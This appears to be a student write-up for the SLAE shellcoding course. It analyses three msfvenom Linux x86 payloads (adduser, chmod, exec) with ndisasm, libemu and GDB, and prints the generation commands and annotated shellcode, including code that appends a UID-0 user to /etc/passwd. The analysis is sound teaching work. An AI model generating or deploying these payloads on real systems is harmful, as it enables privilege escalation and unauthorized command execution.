SLAE: MSFVENOM payload analysis
*all supporting code can be found here*
Student ID: SLAE - 1532
This assignment will see us generate and examine 3 msfvenom payloads with GDB, ndisasm and libemu.
We know that for the purpose of this assignment they need to be x86 linux, so we’ll start by listing all such payloads with msfvenom --list payloads | grep linux/x86
All our previous tasks so far have dealt with spawning a shell of some sort, so today we will look for something different as below:
linux/x86/adduser Create a new user with UID 0
linux/x86/chmod Runs chmod on specified file with specified mode
linux/x86/exec Execute an arbitrary command
Payload 1
Let’s start with linux/x86/adduser
, examining with ndisasm.
We list the payload options with msfvenom --list-options -p linux/x86/adduser
, and the result is as you would expect.
We spin it up and generate the shellcode, piping the output to nidasm with msfvenom -p linux/x86/adduser USER=user PASS=pass | ndisasm -u -
Here we can determine that 4 syscalls are being made:
push byte +0x46 ; syscall 70, #define __NR_setreuid
push byte +0x5 ; syscall 5, #define __NR_write
push byte +0x4 ; syscall 4, #define __NR_open
push byte +0x1 ; syscall 1, #define __NR_exit
Just from looking at this, we could hazard a guess that we will be opening etc/passwd and modifying it. We confirm this be converting three strings that get pushed on the stack:
push dword 0x64777373 }
push dword 0x61702f2f = dwssap//cte/ or /etc//passwd flipped
push dword 0x6374652f }
what we can’t see is our args, so we will have to look closer at our ndisasm output
00000000 31C9 xor ecx,ecx
00000002 89CB mov ebx,ecx
00000004 6A46 push byte +0x46 ; setreuid to 0
00000006 58 pop eax
00000007 CD80 int 0x80
00000009 6A05 push byte +0x5
0000000B 58 pop eax ; pop 0x5 to ecx to setup open syscall
0000000C 31C9 xor ecx,ecx
0000000E 51 push ecx ; push 0x0
0000000F 6873737764 push dword 0x64777373 ; as below
00000014 682F2F7061 push dword 0x61702f2f = dwssap//cte/ or /etc//passwd flipped
00000019 682F657463 push dword 0x6374652f ; as above
0000001E 89E3 mov ebx,esp ; store args for open
00000020 41 inc ecx ; set ecx to 1 as was zero before
00000021 B504 mov ch,0x4 ; move 4 into ch, cx (lower 16 bits of ecx) would now be 401
00000023 CD80 int 0x80
00000025 93 xchg eax,ebx
00000026 E822000000 call 0x4d ; this is an interesting trick, one that I learnt about in the GDB portion of this assignment further down.
This instruction is actually calling code that pushes our *processed* arguments (hashed password) to the stack for the write instruction
0000002B 7573 jnz 0xa0
0000002D 65723A gs jc 0x6a
00000030 41 inc ecx
00000031 7A77 jpe 0xaa
00000033 3137 xor [edi],esi
00000035 63546E6E arpl [esi+ebp*2+0x6e],dx
00000039 4A dec edx
0000003A 41 inc ecx
0000003B 41 inc ecx
0000003C 41 inc ecx
0000003D 3A30 cmp dh,[eax]
0000003F 3A30 cmp dh,[eax]
00000041 3A3A cmp bh,[edx]
00000043 2F das
00000044 3A2F cmp ch,[edi]
00000046 62696E bound ebp,[ecx+0x6e]
00000049 2F das
0000004A 7368 jnc 0xb4
0000004C 0A598B or bl,[ecx-0x75]
**This is where we call the code to push user and pass**
757365723A417A77313763546E6E4A4141413A303A303A3A2F3A2F62696E2F73680A
user:Azw17cTnnJAAA:0:0::/:/bin/sh\n
0000004F 51 push ecx
00000050 FC cld
00000051 6A04 push byte +0x4
00000053 58 pop eax
00000054 CD80 int 0x80
00000056 6A01 push byte +0x1
00000058 58 pop eax
00000059 CD80 int 0x80
To get an even better understanding, we generate the raw shellcode and use the echo | nidasm trick to examine what happens right after the string we know now is our user and pass string:
00000000 59 pop ecx ; store user and pass in ecx
00000001 8B51FC mov edx,[ecx-0x4]
00000004 6A04 push byte +0x4 ; arg for write
00000006 58 pop eax ; put syscall number 4 in eax
00000007 CD80 int 0x80 ; call syscall
00000009 6A01 push byte +0x1 ; arg for exit
0000000B 58 pop eax; put syscall number 1 in eax
0000000C CD80 int 0x80
Payload 2
Next up is the chmod payload, we will use libemu for this one.
Libemu will have to be tracked down and installed, you may run into some issues that are easily solved.
As before we list the options this time for chmod
msfvenom --list-options -p linux/x86/chmod
Once Libemu is setup we run the below commands to create a visual graph on payload flow:
msfvenom -p linux/x86/chmod FILE=/root/test.txt MODE=0777 | sctest -vvv -Ss 5000 -G chmod.dot
dot chmod.dot -T png -o chmod.png
Unfortunatly Libemu really did not like this payload, as such there wascode misisng and the graph simply would not generate, so we move to disasm instead (good thing we have been exposed to multiple tools right?)
msfvenom -p linux/x86/chmod FILE=/home/student/Desktop/SLAE/ASSIGNMENTS/Ass_5/chmodtest.txt MODE=0777 | ndisasm -u -
So looking at the code, we can tell initially that syscall 0xf
is pushed on, which is #define __NR_chmod 15
, and again the opcode representation of the “garbage” instructions is actually a payload parameter.
It looks like only the chmod and exit syscalls are called here. With the file argument being pushed on by calling code at offset 45, and then being popped into ebx.
Finally our second arg of 777 is pushed on with push dword 0x1ff
, and chmod is called thus completing the attack before an exit.
00000000 99 cdq
00000001 6A0F push byte +0xf ; push sycall 15 on (chmod)
00000003 58 pop eax ; pop the syscall into eax
00000004 52 push edx
00000005 E83B000000 call 0x45 ; call code at 45
0000000A 2F das
0000000B 686F6D652F push dword 0x2f656d6f
00000010 7374 jnc 0x86
00000012 7564 jnz 0x78
00000014 656E gs outsb
00000016 742F jz 0x47
00000018 44 inc esp
00000019 65736B gs jnc 0x87
0000001C 746F jz 0x8d
0000001E 702F jo 0x4f
00000020 53 push ebx
00000021 4C dec esp
00000022 41 inc ecx
00000023 45 inc ebp
00000024 2F das
00000025 41 inc ecx
00000026 53 push ebx
00000027 53 push ebx
00000028 49 dec ecx
00000029 47 inc edi
0000002A 4E dec esi
0000002B 4D dec ebp
0000002C 45 inc ebp
0000002D 4E dec esi
0000002E 54 push esp
0000002F 53 push ebx
00000030 2F das
00000031 41 inc ecx
00000032 7373 jnc 0xa7
00000034 5F pop edi
00000035 352F63686D xor eax,0x6d68632f
0000003A 6F outsd
0000003B 647465 fs jz 0xa3
0000003E 7374 jnc 0xb4
00000040 2E7478 cs jz 0xbb
00000043 7400 jz 0x45
00000045 5B pop ebx ; code is called and then the args are popped into ebx
00000046 68FF010000 push dword 0x1ff ; our permission level arg is pushed on
0000004B 59 pop ecx ; and then popped into ecx
0000004C CD80 int 0x80 ; with all args in place we finally call chmod
0000004E 6A01 push byte +0x1 ; push 1 on for exit syscall
00000050 58 pop eax
00000051 CD80 int 0x80 ; exit
opcode string between 5 and 45: 2F686F6D652F73747564656E742F4465736B746F702F534C41452F41535349474E4D454E54342F4173735F352F63686D6F64746573742E74787400
Decodes to:
/home/student/Desktop/SLAE/ASSIGNMENT4/Ass_5/chmodtest.txt\x00
Payload 3
As we can see for the linux/x86/exec
payload, this has only one option, “CMD” - self explanatory.
For this payload we will use gdb.
As we compiled the payload with the shellcode stored in “code”, we know that we can run disassemble &code
straight off the bat and break just before the interrupt is called, by examining the initial code we clearly see that /bin/sh-c is pushed on - but where does ls come from? it appears the ins
instruction inputs into a memory location, and as below screenshots, we can determine by breaking at the call instruction and stepping through it while examining the stack that it is indeed pushing that address onto the stack after storing the string inside.
0x0804a040 <+0>: push 0xb ; move the value of 11 onto stack, the execve syscall number
0x0804a042 <+2>: pop eax ; pop sycall into eax
0x0804a043 <+3>: cdq
0x0804a044 <+4>: push edx ; push 0x0 on (value confirmed by breaking at this address and examining edx)
0x0804a045 <+5>: pushw 0x632d ; push "c-" onto stack (-c)
0x0804a049 <+9>: mov edi,esp ; move args into edi
0x0804a04b <+11>: push 0x68732f ; push "hs/" onto stack (/sh)
0x0804a050 <+16>: push 0x6e69622f ; push /nib/ (/bin)
0x0804a055 <+21>: mov ebx,esp ; move args into ebx
0x0804a057 <+23>: push edx
0x0804a058 <+24>: call 0x804a060 <code+32> ; store ls on the stack
0x0804a05d <+29>: ins BYTE PTR es:[edi],dx store ls inside 0x0804a05d
0x0804a05e <+30>: jae 0x804a060 <code+32>
0x0804a060 <+32>: push edi
0x0804a061 <+33>: push ebx
0x0804a062 <+34>: mov ecx,esp
0x0804a064 <+36>: int 0x80
0x0804a066 <+38>: add BYTE PTR [eax],al